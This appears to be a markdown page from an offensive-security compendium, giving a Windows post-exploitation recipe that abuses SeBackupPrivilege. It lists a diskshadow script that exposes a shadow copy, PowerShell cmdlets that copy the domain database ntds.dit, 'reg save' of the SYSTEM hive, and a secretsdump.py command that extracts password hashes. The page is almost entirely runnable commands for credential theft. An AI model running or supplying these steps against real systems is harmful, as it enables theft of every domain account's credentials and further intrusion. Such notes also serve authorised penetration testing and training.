killchain-compendium/post exploitation/docs/windows/sebackupprivilege.md

SEBackupPrivilege Escalation

• Check user privileges to escalate

Usage

• Check whoami /all
• SeBackupPrivilege must be present
• Payloads all the things
• Upload diskshadow.txt to the target with the following content, there has to be a space at the end of each line!!!!

set metadata C:\tmp\tmp.cabs 
set context persistent nowriters 
add volume c: alias someAlias 
create 
expose %someAlias% h: 

• Change dir to C:\Windows\System32 and diskshadow.exe /s C:\tmp\diskshadow.txt
• Upload these dlls to the target

import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
copy-filesebackupprivilege h:\windows\ntds\ntds.dit C:\tmp\ntds.dit -overwrite
reg save HKLM\SYSTEM C:\tmp\system

• Downloads the files ntds.dit and system
• Extract the hashes via

secretsdump.py -system system -ntds ntds.dit LOCAL > out.txt